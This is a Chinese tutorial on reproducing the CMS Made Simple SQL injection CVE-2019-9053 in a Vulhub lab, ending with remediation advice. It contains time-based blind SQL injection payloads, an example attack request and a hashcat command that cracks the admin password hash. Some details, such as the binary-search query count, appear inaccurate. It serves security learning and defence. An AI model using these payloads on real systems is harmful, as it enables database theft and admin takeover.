手把手复现CMSMS前台SQL注入漏洞CVE-2019-9053:从Vulhub环境搭建到哈希破解

发布时间:2026/7/6 1:02:43

手把手复现CMSMS前台SQL注入漏洞CVE-2019-9053:从Vulhub环境搭建到哈希破解 1. 项目概述与核心价值CVE-2019-9053这个编号对于搞Web安全测试和漏洞研究的朋友来说应该不陌生。它指的是CMS Made Simple简称CMSMS这个老牌内容管理系统在2.2.9.1版本之前存在的一个前台SQL注入漏洞。简单来说就是攻击者不需要登录后台直接在前台页面就能发起攻击最终目标是拿到管理员的密码哈希值。今天我们不只讲理论而是用最接地气的方式手把手带你用Vulhub这个“漏洞靶场全家桶”把整个漏洞从环境搭建到利用成功完整地复现一遍。你会发现整个过程就像搭积木一样清晰但其中涉及的每一个步骤从Docker容器的启动、CMS的初始化安装到最终利用脚本跑出密码都藏着不少新手容易踩的坑和必须注意的细节。为什么选择Vulhub来复现因为它把漏洞环境做成了标准化的Docker Compose配置一键启动环境纯净且可重复完美避开了“在我的机器上能跑”的玄学问题。这对于想系统性学习漏洞原理、练习渗透测试技巧或者准备安全认证考试的朋友来说是个效率神器。通过这次复现你不仅能深刻理解这个特定SQL注入漏洞的利用链更能掌握一套通用的漏洞复现方法论以后遇到其他CVE也能快速上手。下面我们就从零开始把这个漏洞的“里里外外”彻底拆解清楚。2. 环境准备与靶场搭建2.1 Vulhub基础环境部署复现漏洞的第一步是把战场准备好。Vulhub的部署本身并不复杂但不同的宿主机会遇到不同的问题。这里我们以最常用的Kali Linux和Ubuntu为例CentOS 7由于一些历史原因在拉取镜像时可能会遇到更多麻烦。首先确保你的系统已经安装了Docker和Docker Compose。在Kali或Ubuntu上通常用apt就能搞定sudo apt update sudo apt install docker.io docker-compose -y安装完成后记得把当前用户加入docker组避免每次都要sudosudo usermod -aG docker $USER重要提示执行完上述命令后你需要完全退出当前终端会话并重新登录或者新开一个终端窗口用户组的变更才会生效。这是很多新手会忽略的一步导致后续执行docker ps等命令时依然报权限错误。接下来获取Vulhub的源码。建议不要用git clone默认的master分支因为有些漏洞环境可能更新不及时。直接去GitHub的Release页面下载最新稳定版压缩包或者克隆后切换到最新的tag是更稳妥的做法git clone https://github.com/vulhub/vulhub.git cd vulhub # 可以查看一下最新的tag然后切换过去例如 # git checkout 1.02.2 靶场拉取与常见问题排雷进入我们目标漏洞的目录cd cmsms/CVE-2019-9053关键的步骤来了执行docker-compose up -d。在理想情况下这条命令会拉取MySQL和CMSMS的镜像并启动容器。但现实往往骨感尤其是网络环境复杂时。问题一拉取镜像失败提示“Error response from daemon: Get https://registry-1.docker.io/v2/...”这是最常见的网络超时问题。Docker默认的镜像仓库在国外。解决方法有几个按推荐顺序尝试使用国内镜像加速器修改或创建/etc/docker/daemon.json加入以下配置以阿里云加速器为例需自行注册获取{ registry-mirrors: [https://your-mirror.mirror.aliyuncs.com] }然后重启Docker服务sudo systemctl restart docker。手动预拉取镜像有时加速器也不稳定。我们可以根据docker-compose.yml文件内容手动拉取基础镜像。打开该文件你可能会看到image: mysql:5.7和image: vulhub/cmsms:2.2.9.1这样的定义。可以分别执行docker pull mysql:5.7 # 如果vulhub的镜像拉取慢可以尝试直接拉取官方cmsms镜像如果存在或者耐心重试。终极方案离线包如果环境完全无法连接外网可以在能联网的机器上使用docker save将镜像打包然后传输到目标机器用docker load导入。问题二CentOS 7拉取失败的特殊情况如果你在CentOS 7上操作除了上述网络问题还可能遇到旧版本Docker与新版本Docker Registry的兼容性问题。一个典型的错误是“Error response from daemon: Get https://registry-1.docker.io/v2/: x509: certificate signed by unknown authority”。这是因为系统根证书太旧。解决方法是更新证书sudo yum update ca-certificates -y sudo systemctl restart docker如果还不行考虑将Docker升级到较新的版本。CentOS 7默认仓库的Docker版本可能很旧。当docker-compose up -d成功执行后用docker ps命令查看应该能看到两个状态为“Up”的容器一个数据库db一个Web应用cmsms。至此硬件环境就绪。3. CMS Made Simple安装与初始化配置环境跑起来后浏览器访问http://你的服务器IP:端口/install.php。Vulhub的配置通常会将容器端口映射到宿主机的80端口所以直接访问http://your-ip即可。如果无法访问请检查防火墙是否放行了对应端口如80以及Docker的端口映射是否正确docker-compose ps查看。3.1 安装向导步骤详解安装页面加载出来后你会看到一个图形化的安装向导。这个过程和安装一个普通的CMS没什么区别但有几个关键点必须填对否则后面漏洞复现会失败。许可协议直接同意下一步。系统检查这里会检查PHP版本、扩展如MySQLi、GD库等和目录权限。Vulhub的镜像通常都配置好了应该全是通过绿色对勾。如果有红色错误最常见的是config.php文件不可写。你需要进入容器内部修改目录权限docker exec -it 你的cmsms容器ID或名称 /bin/bash chmod 777 /var/www/html/config.php # 仅为实验环境生产环境绝对禁止或者更规范的做法是在宿主机的docker-compose.yml里做好卷挂载和权限预设。数据库配置这是最容易出错的一步数据库服务器主机名这里不能填localhost或127.0.0.1。因为Web服务cmsms容器和数据库db容器是两个独立的Docker容器它们通过Docker Compose定义的网络通信。根据Vulhub的docker-compose.yml数据库服务的名称被定义为db。所以这里必须填写db。数据库名称按Vulhub的README说明填写cmsms。数据库用户名root。数据库密码root。表前缀默认的cms_即可。填错的表现点击“下一步”后页面长时间卡住或提示“无法连接数据库”。请务必反复核对以上四项。网站信息设置管理员账号Username、邮箱Email和密码Password。这里设置的是你后台登录的凭据和后面漏洞要窃取的不是一个东西漏洞窃取的是安装时创建的默认管理员admin的密码哈希。为了方便记忆可以设为admin / adminexample.com / admin123。完成安装安装程序会创建数据库表写入配置文件。成功后务必按照提示删除install.php文件这是重要的安全步骤。在容器内执行rm /var/www/html/install.php。安装完成后你应该可以正常访问CMSMS的前台首页也能用刚才设置的管理员账号密码登录后台管理界面http://your-ip/admin。这证明整个CMS环境已经健康运行。4. 漏洞原理深度剖析与利用链拆解在动手利用之前我们得先搞清楚这个漏洞到底出在哪儿为什么能利用以及整个攻击链条是如何串起来的。CVE-2019-9053被定性为“前台SQL注入”这意味着攻击入口点在前台即普通用户甚至未登录用户都能访问的页面。4.1 漏洞触发点与注入成因根据公开的漏洞详情和利用脚本如Exploit-DB 46635漏洞位于/moduleinterface.php这个文件。这个文件负责处理模块的AJAX请求。在CMSMS中许多前台功能如搜索、表单提交会以模块形式调用。漏洞的核心参数是mactModule Action。攻击者可以构造一个特殊的mact值指向一个存在SQL注入漏洞的模块处理函数。更深层次的原因是CMSMS在组装SQL查询语句时未对用户输入进行充分的过滤和转义直接将可控参数拼接进了SQL语句中。具体到代码层面可能是类似这样的模式$query SELECT * FROM cms_users WHERE username . $_REQUEST[user_input] . ;当user_input被恶意构造成 UNION SELECT ... -- -时就形成了经典的联合查询注入。这个漏洞的独特之处在于它虽然是一个注入点但直接回显数据的地方可能并不明显非显错注入。因此利用脚本通常采用基于时间的盲注Time-Based Blind SQL Injection技术。通过构造SLEEP(5)这样的Payload观察页面响应时间是否延迟从而逐位推断出数据库中的数据如密码哈希。4.2 从注入点到获取管理员哈希的路径攻击者的目标很明确获取存储在cms_users表中的管理员密码哈希。在CMSMS中默认的超级管理员用户名是admin。利用链可以概括为以下几步定位注入点通过/moduleinterface.php文件传递特定的mact参数触发漏洞。布尔盲注或时间盲注由于无直接回显利用IF(condition, SLEEP(5), 0)这样的语句通过页面响应时间的差异判断某个条件如“密码哈希的第一位字符的ASCII码是否大于50”的真假。逐位提取数据通过脚本自动化从第一位到最后一位依次判断密码哈希字符串每个字符的值。一个MD5哈希有32个字符每个字符有16种可能0-9, a-f利用二分查找法可以显著减少询问次数从最多1632512次降到约832256次左右。获取哈希值最终得到完整的admin用户密码字段password的值。这个值通常是经过MD5加密后的字符串。4.3 与后续漏洞的关联CVE-2021-26120在Vulhub的README中提到了“结合后台的SSTI漏洞CVE-2021-26120攻击者可在目标服务器上执行任意代码”。这是一个更严重的攻击升级。其逻辑链条是利用CVE-2019-9053获取管理员密码哈希。由于CMSMS默认使用MD5哈希且无盐salt攻击者可以通过彩虹表碰撞或在线解密网站有很大概率破解出弱口令的明文密码。使用破解出的管理员账号密码登录后台。在后台管理界面中存在一个服务端模板注入SSTI漏洞CVE-2021-26120例如在文件管理或模板编辑功能中插入恶意的Smarty模板代码。恶意的Smarty代码可以被服务器执行从而实现远程代码执行RCE完全控制服务器。所以CVE-2019-9053是整个攻击链的“敲门砖”它提供了获取后台权限的可能性。在实际渗透测试中拿到后台权限往往意味着距离GetShell只有一步之遥。5. 利用脚本解析与手动复现实操网上流传的PoC脚本如Exploit-DB上的Python 2脚本是自动化的利器但直接运行脚本而不知其所以然学习效果大打折扣。我们一起来拆解这个利用过程并尝试手动验证。5.1 自动化PoC脚本运行与结果分析首先下载或找到poc.py脚本。由于是Python 2脚本确保你的环境有python2或通过python2 -m pip install requests安装好依赖。在脚本所在目录执行python2 poc.py -u http://你的靶机IP如果一切配置正确脚本会开始工作。你会看到类似以下的输出[] Targeting: http://192.168.1.100 [] Getting database version... [] Database version: 5.7.33 [] Getting database user... [] Database user: root% [] Extracting password hash for admin... [] Hash: 5f4dcc3b5aa765d61d8327deb882cf99这个过程可能会持续几分钟因为脚本在通过时间盲注一位一位地获取信息。最终它成功打印出了用户admin的密码哈希5f4dcc3b5aa765d61d8327deb882cf99。这个哈希值是著名的password字符串的MD5值说明这个靶场环境中的默认管理员密码就是password。脚本运行失败排查无响应或报错检查靶机URL是否正确网络是否互通CMS是否安装成功能访问首页。脚本卡住或极慢可能是网络延迟或数据库响应慢导致时间盲注的判断阈值SLEEP时间需要调整。可以查看脚本中timeout和sleep_time相关参数适当增大超时时间。获取不到哈希检查数据库配置。脚本可能依赖特定的表名cms_users和字段名password,username。确保CMS安装时使用了默认的表前缀cms_。5.2 手动注入验证与Payload构造为了更深入理解我们可以用Burp Suite或浏览器插件手动发几个包验证漏洞是否存在。寻找触发点通过分析PoC脚本或公开资料我们知道注入点可能与/moduleinterface.php和特定的mact参数有关。一个常见的测试Payload是尝试触发时间延迟。构造测试请求使用Burp Suite的Repeater模块发送以下POST请求POST /moduleinterface.php HTTP/1.1 Host: your-target-ip Content-Type: application/x-www-form-urlencoded mactSearch,search,1search_actionsearchsearch_termtest AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -注意这里的mact参数值Search,search,1是PoC脚本中使用的它可能指向了搜索模块的某个存在漏洞的函数。实际的参数名和值可能需要根据目标CMSMS的版本和模块有所不同。观察响应发送请求并精确计时。如果页面响应时间明显超过5秒比如达到7-8秒而将SLEEP(5)改为SLEEP(0)时响应很快那么就强烈暗示存在基于时间的SQL注入漏洞。信息提取尝试手动进行盲注非常繁琐但可以尝试一个简单的布尔判断。例如...search_termtest AND (SELECT SUBSTRING(password,1,1) FROM cms_users WHERE usernameadmin)a AND SLEEP(5)-- -这个Payload的意思是如果admin用户密码哈希的第一个字符是字母a就睡眠5秒。通过比较响应时间可以手动判断一位字符。这个过程自动化就是PoC脚本在做的事情。重要安全提示以上操作仅限在自己搭建的、完全隔离的靶场环境中进行。未经授权对任何线上系统进行测试都是非法且不道德的。5.3 哈希破解与后台登录拿到哈希5f4dcc3b5aa765d61d8327deb882cf99后我们可以尝试破解。由于这是非常常见的MD5哈希直接使用cmd5.com等在线网站或本地工具如hashcat、john即可瞬间破解。echo 5f4dcc3b5aa765d61d8327deb882cf99 hash.txt hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force几乎立刻就能得到结果password。现在访问http://your-ip/admin/使用用户名admin和密码password登录即可成功进入CMSMS后台管理界面。这验证了通过SQL注入漏洞获取的凭证是有效的也完成了从漏洞利用到权限获取的完整闭环。6. 漏洞修复方案与安全加固建议复现漏洞是为了更好地防御。了解了攻击原理后我们来看看如何修复和防范此类问题。6.1 官方修复与版本升级对于CMS Made Simple最根本的解决方案是升级到已修复该漏洞的版本。根据漏洞信息2.2.10及更高版本包含了针对CVE-2019-9053的补丁。升级步骤通常包括备份网站文件和数据库。从官网下载最新稳定版。按照官方升级文档用新文件覆盖旧文件install.php、config.php等核心配置文件除外。运行升级脚本通常访问/upgrade.php。清除缓存测试网站功能。升级注意事项务必在测试环境先行验证升级流程和兼容性特别是如果有自定义模块或模板。6.2 代码层修复原理从开发角度修复此类SQL注入漏洞的核心原则是使用参数化查询预编译语句绝对避免将用户输入直接拼接到SQL语句中。以PHP为例修复前的危险代码$unsafe_input $_GET[search_term]; $sql SELECT * FROM cms_content WHERE title LIKE % . $unsafe_input . %; $result $db-query($sql);修复后的安全代码使用PDO预处理$unsafe_input $_GET[search_term]; $sql SELECT * FROM cms_content WHERE title LIKE ?; $stmt $pdo-prepare($sql); $stmt-execute([%{$unsafe_input}%]); $result $stmt-fetchAll(PDO::FETCH_ASSOC);或者使用MySQLi预处理$unsafe_input $_GET[search_term]; $stmt $mysqli-prepare(SELECT * FROM cms_content WHERE title LIKE ?); $search_term %{$unsafe_input}%; $stmt-bind_param(s, $search_term); $stmt-execute(); $result $stmt-get_result();预处理语句将SQL语句的结构SELECT ... WHERE title LIKE ?与数据$search_term分开发送给数据库。数据库先编译语句结构再将输入的数据当作纯数据处理即使数据中包含、;、--等SQL元字符也只会被当作查询内容的一部分而不会改变SQL语句的逻辑结构从而从根本上杜绝了注入。6.3 运维与配置安全加固即使代码修复了良好的运维习惯也能提升整体安全性最小权限原则为CMSMS的数据库用户分配最小必要的权限。不要使用root账号。只授予其对cms_开头的表进行SELECT、INSERT、UPDATE、DELETE的权限禁止DROP、CREATE、GRANT等权限。输入验证与过滤在应用层对所有用户输入进行严格的类型检查和长度限制。例如搜索词应该过滤掉非法的特殊字符。Web应用防火墙WAF部署WAF可以帮助拦截常见的SQL注入攻击Payload为修复漏洞争取时间。定期安全扫描使用自动化工具如Nessus, OpenVAS, SQLMap等对网站进行定期的漏洞扫描但需在授权范围内进行。删除安装文件安装完成后务必立即删除install.php、upgrade.php等安装/升级脚本防止被恶意利用。错误信息处理将PHP的错误显示设置为Offdisplay_errors Off并将错误记录到日志文件避免将数据库结构等敏感信息泄露给前端用户。7. 漏洞复现的延伸思考与总结通过这次完整的CVE-2019-9053复现我们不仅仅是在运行一个脚本。我们走过了环境搭建、问题排查、原理分析、手动验证、漏洞利用和修复加固的全流程。这比单纯看一个漏洞公告要深刻得多。我个人的体会是漏洞复现的关键在于环境和细节。Vulhub这样的项目解决了环境一致性的难题让我们能把精力集中在漏洞本身。而细节决定成败比如数据库主机名填db而不是localhost安装后要删除install.php这些看似微小的点往往是卡住新手几个小时的地方。对于想深入安全研究的朋友我建议在复现之后可以尝试做以下几件事代码审计找到漏洞对应的源码文件如moduleinterface.php尝试定位产生漏洞的那几行代码理解其上下文。编写自己的PoC参考现有的利用脚本尝试用你熟悉的语言Python3、Go等重新编写一个利用工具这能极大加深你对漏洞利用链的理解。模拟防御在修复漏洞后再次运行攻击脚本验证防御是否生效。或者尝试部署一款开源的WAF如ModSecurity看其默认规则能否拦截此攻击。关联学习以此漏洞为起点去学习其他类型的SQL注入如报错注入、布尔盲注、堆叠注入以及如何绕过常见的WAF规则。最后记住所有学习和研究都应在合法授权的环境中进行。构建自己的靶场实验室是提升安全技能最安全、最有效的途径。

相关新闻